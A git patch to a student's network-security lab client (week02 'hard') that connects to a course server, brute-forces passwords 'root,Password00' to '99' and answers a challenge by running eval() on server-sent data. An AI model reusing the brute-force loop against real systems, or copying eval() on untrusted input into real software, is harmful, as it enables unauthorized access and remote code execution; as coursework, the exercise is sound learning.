From 3b3e3e0442e967cb3bba3527932417f43c3231e7 Mon Sep 17 00:00:00 2001 From: Dongho Kim Date: Sat, 9 Nov 2024 22:26:21 +0900 Subject: [PATCH] solved w2h --- week02/hard/client.py | 48 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 39 insertions(+), 9 deletions(-) diff --git a/week02/hard/client.py b/week02/hard/client.py index 5da08fd..1b39037 100644 --- a/week02/hard/client.py +++ b/week02/hard/client.py @@ -1,21 +1,51 @@ import socket - +import time # Fill in the right target here -HOST = 'localhost' # TODO -PORT = ... # TODO +HOST = 'netsec.net.in.tum.de' # TODO +PORT = 64984 # TODO +def gen_crends(): + credentials = "root,Password00" + return credentials def get_flag(): + credentials = "root,Password19" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((HOST, PORT)) sf = s.makefile('rw') # we use a file abstraction for the sockets + print(sf.readline().rstrip('\n')) + sf.write("{}\n".format(credentials)) + sf.flush() + data = sf.readline().rstrip('\n') + print(data) + response = eval(data) + sf.write("{}\n".format(response)) + sf.flush() + print(sf.readline().rstrip('\n')) + flag = sf.readline().rstrip('\n') + return flag - # TODO - - sf.close() - s.close() +def find_port_get_flag(): + for i in range(100): + time.sleep(1) + credentials = "root,Password"+str("%02d" % i) + print(credentials) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((HOST, PORT)) + sf = s.makefile('rw') # we use a file abstraction for the sockets + print(sf.readline().rstrip('\n')) + sf.write("{}\n".format(credentials)) + sf.flush() + data = sf.readline().rstrip('\n') + answer = eval(data) + sf.write("{}\n".format(answer)) + sf.flush() + print(sf.readline().rstrip('\n')) + except: + pass + if __name__ == '__main__': - get_flag() + print(get_flag()) \ No newline at end of file